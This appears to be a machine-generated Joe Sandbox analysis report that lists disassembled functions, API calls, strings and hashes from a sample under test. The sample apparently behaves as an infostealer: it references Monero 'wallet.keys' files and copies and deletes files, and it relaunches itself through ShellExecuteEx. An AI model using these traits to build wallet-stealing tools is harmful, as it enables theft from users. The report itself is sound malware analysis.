VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5C3DEF), ref: 6C600DAF

Strings

<jemalloc>, xrefs: 6C600D92, 6C600DB9
: (malloc) Error in VirtualFree(), xrefs: 6C600D97, 6C600DBE

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 099c4191da5ef3e2cf950c4c535b65cb462e0cd697d7eae25b832234df36f4d0
Instruction ID: 091e2f8cb37f7c82ec7ed77d396a009379597004c00f5f8551dec656f7f63b12
Opcode Fuzzy Hash: 099c4191da5ef3e2cf950c4c535b65cb462e0cd697d7eae25b832234df36f4d0
Instruction Fuzzy Hash: D1F080313C079423D7582D665E06B6A379D67C2B55F34C035F604FADC0DAA0E400C67D

Function 6C5ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

EnterCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED4F2
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED50B

Part of subcall function 6C5CCFE0: EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
Part of subcall function 6C5CCFE0: LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED52E
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED690
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED751

Strings

MOZ_CRASH(), xrefs: 6C5ED4BB

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 648b0c62094fff5cbba7bd47db1e0f0a3d6cee7ca5d2e2278e1026db14bc99b3
Instruction ID: 2b003cac30baf2af759a1fc2c1d4737b594f24eba15d151e9c9e47463cde73fe
Opcode Fuzzy Hash: 648b0c62094fff5cbba7bd47db1e0f0a3d6cee7ca5d2e2278e1026db14bc99b3
Instruction Fuzzy Hash: C951CF71A047018FD368DF29C89071AB7F2EBC9718F64C92ED5A9C7B85D770A804CB96

Function 0101C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0101C8EC
___crtLCMapStringA.LIBCMT ref: 0101C90C
___crtLCMapStringA.LIBCMT ref: 0101C931

Strings

, xrefs: 0101C896

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 5080835e7e7a85698e072f11c1e56136c240ea6773f041e75d6689df0f698a4c
Instruction ID: 110e7bb76f36c41d01048e2fb542ffc8a13aaca41d7c2722c302942d617d337a
Opcode Fuzzy Hash: 5080835e7e7a85698e072f11c1e56136c240ea6773f041e75d6689df0f698a4c
Instruction Fuzzy Hash: D941187114079C5EEB218B288D88FFB7BF9AB05304F1844E8DACA86086D275DA44CF60

Function 6C61B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C603EBD,6C603EBD,00000000), ref: 6C5C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C61B127), ref: 6C61B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C61B4E4

Strings

pid:, xrefs: 6C61B4DE

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 056475ee1e46cf630c5762b3ea858c161773a69f09319e78b82c6fe18510892a
Instruction ID: 5e7cf097a0a002e2abfa3a39e0d3bb52978eb38f2e8194c9f80dcb3eea4e042f
Opcode Fuzzy Hash: 056475ee1e46cf630c5762b3ea858c161773a69f09319e78b82c6fe18510892a
Instruction Fuzzy Hash: F23115B1A05204DBDB00DFAED880AEEB7B5BF85309F54852DD811A7F41D731A845CBE9

Function 01016630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 01016663

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

ShellExecuteEx.SHELL32(0000003C), ref: 01016726
ExitProcess.KERNEL32 ref: 01016755

Strings

<, xrefs: 010166D9

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 34df825bfb7b471b9b2c289f414944cbebdd6e8e30c53aafe779d4d3720344d9
Instruction ID: 533f9c84a453a5469a52fb9b29b3cc1969e23c04b61e41c68b152cd6e67428a8
Opcode Fuzzy Hash: 34df825bfb7b471b9b2c289f414944cbebdd6e8e30c53aafe779d4d3720344d9
Instruction Fuzzy Hash: 4B312CB1D01218ABDB14EB90ED94FDEB778AF14310F404189E24A67184DF786B49CF65

Function 010187C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01020E28,00000000,?), ref: 0101882F
RtlAllocateHeap.NTDLL(00000000), ref: 01018836
wsprintfA.USER32 ref: 01018850

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Strings

%dx%d, xrefs: 01018847

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: c6915b84dbd423a0d644be7684df8df09c68336120c1b5c9d8b1217a583dac72
Instruction ID: 7ed068446d400a0f97304ade4ddcc892169d9e203f40c55f5dea7dd3cbb112b6
Opcode Fuzzy Hash: c6915b84dbd423a0d644be7684df8df09c68336120c1b5c9d8b1217a583dac72
Instruction Fuzzy Hash: F82124B5A80204EFEB14DFD4ED49FAEBBB8FB48711F104119F606A7284C7799901CBA0

Function 6C60E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C60E577
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60E584
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C60E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C60E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C60E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C60E826, 6C60E850
MOZ_PROFILER_STARTUP, xrefs: 6C60E5A1, 6C60E5CC, 6C60E5FF, 6C60E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C60E722, 6C60E750, 6C60E7A2

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: ac1043b68a0aa5a2ac136bc998b89ff7dc3a181d317cd440bd9878db5d7b710b
Instruction ID: b1812786e8330afccb0de9986eeb61bc59c9e8eeecfc30c09d23dc6f47af7841
Opcode Fuzzy Hash: ac1043b68a0aa5a2ac136bc998b89ff7dc3a181d317cd440bd9878db5d7b710b
Instruction Fuzzy Hash: CC118E31604654DFCB00AF16C888A6EBBB4FFC932CF44C619E89557651DB70A805CF9E

Function 01018D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0101951E,00000000), ref: 01018D5B
RtlAllocateHeap.NTDLL(00000000), ref: 01018D62
wsprintfW.USER32 ref: 01018D78

Strings

%hs, xrefs: 01018D6F

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: ba28e135c9027fd2bf1760f7f4903fac401af9d19f3fdc1686e054dbc00014f9
Instruction ID: fe4e10204cc1e445f20e1dc32f0b467bc324b5676807ca8ee833b98f6ac35114
Opcode Fuzzy Hash: ba28e135c9027fd2bf1760f7f4903fac401af9d19f3fdc1686e054dbc00014f9
Instruction Fuzzy Hash: ADE0E675A80208BBD724DB94E90DE5D77B8EB44701F004155FD4A97244D9715E109B55

Function 6C610C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C610CD5

Part of subcall function 6C5FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C610D40
free.MOZGLUE ref: 6C610DCB

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

free.MOZGLUE ref: 6C610DDD
free.MOZGLUE ref: 6C610DF2

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: ac77be5b473a3899f8c55aa0eb7065d85dbe237a727c7665d457bcc214f54abd
Instruction ID: 019e8b1ac58f240c3db2e17b042c419f162f1689fb2b48aab57eea5fa92008ed
Opcode Fuzzy Hash: ac77be5b473a3899f8c55aa0eb7065d85dbe237a727c7665d457bcc214f54abd
Instruction Fuzzy Hash: 6041047191C7809BD720CF29C4807AAFBE5BFC9714F508A2EE8D887B50DB709855CB86

Function 6C61CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CDA4

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

Part of subcall function 6C61D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C61CDBA,00100000,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D158
Part of subcall function 6C61D130: InitializeConditionVariable.KERNEL32(00000098,?,6C61CDBA,00100000,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CDC4

Part of subcall function 6C617480: ReleaseSRWLockExclusive.KERNEL32(?,6C6215FC,?,?,?,?,6C6215FC,?), ref: 6C6174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CECC

Part of subcall function 6C5DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5DCAA2

Part of subcall function 6C60CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C61CEEA,?,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000), ref: 6C60CB57
Part of subcall function 6C60CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C60CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C61CEEA,?,?), ref: 6C60CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D058

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 657331c1bb5d4c96020b099fffa0092fa3d99092ded94466410dac6faff41b6a
Instruction ID: d80fcc365c1ba98f772422399f93836158686ff28716976de8afae3955d63236
Opcode Fuzzy Hash: 657331c1bb5d4c96020b099fffa0092fa3d99092ded94466410dac6faff41b6a
Instruction Fuzzy Hash: 70D17F71A04B469FD708CF2CC480B99F7E1BF89308F01866DD9598BB52EB31A965CB85

Function 0100D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,00A5A210,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100D481
lstrlen.KERNEL32(00000000), ref: 0100D698
lstrlen.KERNEL32(00000000), ref: 0100D6AC
DeleteFileA.KERNEL32(00000000), ref: 0100D72B

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
